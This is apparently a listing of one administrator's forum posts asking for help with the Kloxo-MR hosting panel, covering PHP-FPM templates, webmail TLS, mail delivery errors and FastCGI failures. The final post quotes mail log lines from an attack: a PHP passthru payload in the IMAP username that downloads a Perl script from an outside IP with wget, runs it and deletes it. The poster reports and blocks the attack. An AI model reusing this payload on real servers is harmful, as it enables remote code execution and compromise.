Topics

46

Kloxo-MR Technical Helps / PHP-FPM custom config #2

« on: 2016-07-02, 11:14:22 »

Does /opt/configs/php-fpm/tpl/custom.php53-fpm-pool.conf.tpl work as before?
I've done some changes to this custom file and after runnign sh /script/fixphp; sh /script/restart-web -y' i don't see my customized values in /etc/php-fpm.d/username.conf!

Have things changed with latest updates

My small change is:
                                                         
        } else {
                $userinfo = posix_getpwnam($user);                                                                                                     
                $fpmport = (50000 + $userinfo['uid']);                                                                                                 
                $openbasedir = "/home/$user/:/tmp/:/dev/urandom/:/usr/share/pear/:/var/lib/php/session/:".
                        "/home/kloxo/httpd/script/:/home/kloxo/httpd/disable/:{$extrabasedir}";     



I.e i've  appended   :/dev/urandom/: into    $openbasedir, but it doesn't work

47

Kloxo-MR Development / Add TLS support to webmail

« on: 2016-06-11, 00:10:10 »

@Mustafa, can you please add support for https://webmail.mydomain.com/roundcube/ on Kloxo-MR?
I can't see this is a big task?
We can't have plaintext sending of passwords in 2016.
If you need help, please let me know.

PLEASE DO IT.

Are you also planning to have a more open development process of Kloxo-MR in the future? So you can get PR (pull requests) and more community involvement.
Like other successful FOSS projects on GitHub?

48

Kloxo-MR Development / Can't reeive mail after update

« on: 2016-06-08, 23:35:44 »

I started to see the following in the maillog after the last update yesterday:
Jun  8 23:51:55 mail send: delivery 23: deferral: Not_allowed_to_perform_deliveries_as_root./
Jun  8 23:51:55 mail send: status: local 1/10 remote 0/60
Jun  8 23:51:55 mail send: delivery 24: deferral: Not_allowed_to_perform_deliveries_as_root./

Any idea why @Mustafa?

49

Kloxo-MR Development / LetsEncrypt add button

« on: 2016-06-07, 17:00:32 »

I see LetsEncrypt tab in the SSL part, but there is no add/run button to get the cert?
Do i need to update Kloxo-MR?

50

Kloxo-MR Technical Helps / Custome Apache vhost for 1 client

« on: 2016-05-15, 13:24:51 »

I'd like to add something directly inside vhost inside of using .htaccess for better performance for a couple of clients.
Is this possible to use template as to survive updates?
 

51

Kloxo-MR Development / Kloxo-MR slave's functionality

« on: 2016-04-28, 10:29:27 »

@Mustafa, i use PHP-FPM and now i need to setup a slave too.
Does this work now? I mean does the slave get the PHP-FPM configs too?

Also, how does the Kloxo-MR slave work?   Do i need to use different IPs for slave DNS (say ns3 and ns4.example.com). Master has ns1 and ns2.example.com. Or does it just clone the master's IPs and other configs?
 
Will slave take over when master fails?

52

Kloxo-MR Development / MySQL/MariaDB log path

« on: 2016-04-15, 13:52:00 »

I dont' see any log for MariaDB 10 anymore, even though:
MariaDB [(none)]> show variables like "%log%error%"\G
*************************** 1. row ***************************
Variable_name: log_error
        Value: /var/log/mysqld.log
1 row in set (0.00 sec)

MariaDB [(none)]>

There isn o log file at /var/log/mysqld.log.
Does Kloxo do some magic here?

53

Kloxo-MR Development / Repeating Kloxo Error 500

« on: 2016-04-05, 20:09:28 »

Too often many of our clients get the error in subject and web page is broken.
Its a php issue it seems as a /scripts/fixphp --cloent=myclient fixes it.
But we cant have it likethis, its been a problem for years and we can loose clients.
Why does this occur??

54

Kloxo-MR Development / Multi PHP version with PHP 7?

« on: 2016-02-24, 09:35:25 »

Sorry if the question has been asked before, but can we now run multiple PHP with PHP 7?
Would be nice if you can test PHP7 for some clients, while still supporting PHP 5.x for others (and compatibility with apps).

55

Kloxo-MR Development / [SOLVED] Some web sites give 500

« on: 2016-02-21, 13:56:12 »

[Sun Feb 21 14:03:25 2016] [error] [client IP_CLIENT] (2)No such file or directory: FastCGI: failed to connect to server "/home/client1/domains.com/domain.com.0fake": connect() failed
[Sun Feb 21 14:03:25 2016] [error] [client IP_CLIENT] FastCGI: incomplete headers (0 bytes) received from server "/home/client1/domains.com/domain.com.0fake"
[Sun Feb 21 14:03:27 2016] [error] [client IP CLIENT2] (2)No such file or directory: FastCGI: failed to connect to server "/home/client1/domains.com/domain.com.0fake": connect() failed
[Sun Feb 21 14:03:27 2016] [error] [client IP CLIENT2] FastCGI: incomplete headers (0 bytes) received from server "/home/client1/domains.com/domain.com.0fake"

fixphp --client?=client1 fixes it, but after 1 mins the problem is there again

56

Kloxo-MR Development / Upgraded and Kloxo + sites down!

« on: 2016-02-21, 11:51:48 »

Hi,
just did a yum clean && yum update with kloxo cleanup, but now i can't even access http:///cp.mysite.com:7777, it's getting redirected to http://mysite.com:7777.
Mustafa, any help appreciated.
[root@mail ~]# /etc/init.d/kloxo restart
[root@mail ~]# /etc/init.d/kloxo status
kloxo-phpcgi dead but subsys locked
kloxo-hiawatha (pid  18755) is running...



kloxo-phpcgi seems dead

57

Kloxo-MR Development / [SOLVED] Suspect mail delivery

« on: 2016-02-05, 13:00:07 »

I see that a mail delivery a non existing recipient is in the queue. Shouldn't Qmail deny that?

I see the following related to that in the logs:
Feb  5 13:01:45 mail send: delivery 58: deferral: /bin/sh:_/home/vpopmail/bin/vdelivermail:_Permission_denied/

58

Kloxo-MR Technical Helps / Unable to connect to imap server

« on: 2016-02-04, 22:24:13 »

My SSL cert expired recently and i went back to use kloxo's default self cert for the mail server.
It won't let my Android IMAP client connect:

mail imap4-ssl: couriertls: accept: error:14094416:SSL routines:SSL3_READ_BYTES:sslv3 alert certificate unknown


Any idea what to do?

59

Kloxo-MR Development / PHP 7 repo

« on: 2015-12-09, 16:23:35 »

Is it possible to use PHP7 from remi's repo? Currenly, i use php56m.
Is it also possible to migrate over to remi's repo for PHP?

60

Kloxo-MR Technical Helps / Potential Perl malware?

« on: 2015-11-23, 21:04:01 »

Today i noticed the following:

Nov 23 20:47:31 mail imap4: INFO: LOGIN FAILED, user=<?php passthru("cd /tmp;wget http://188.138.41.134/mad.exe;perl /tmp/mad.exe;perl mad.exe;rm -rf mad.exe"); ?>, ip=[127.0.0.1]
Nov 23 20:47:36 mail imap4: INFO: LOGIN FAILED, user=<?php passthru("cd /tmp;wget http://188.138.41.134/mad.exe;perl /tmp/mad.exe;perl mad.exe;rm -rf mad.exe"); ?>, ip=[127.0.0.1]
Nov 23 20:47:36 mail authlib: user invalid <?php passthru("cd
Nov 23 20:47:42 mail authlib: user invalid <?php passthru("cd
Nov 23 20:47:42 mail imap4: INFO: LOGIN FAILED, user=<?php passthru("cd /tmp;wget http://188.138.41.134/mad.exe;perl /tmp/mad.exe;perl mad.exe;rm -rf mad.exe"); ?>, ip=[127.0.0.1]
Nov 23 20:47:47 mail imap4: INFO: LOGOUT, ip=[127.0.0.1], rcvd=434, sent=388
Nov 23 20:47:47 mail imap4: tcpserver: end 20600 status 0
Nov 23 20:47:47 mail imap4: tcpserver: status: 0/40

The Perl script is at http://188.138.41.134/mad.exe.
i've blocked this IP in CSF, but still i see those lines in the maillog.

Anyone else seen this? It's obviously injecting PHP code through mail server.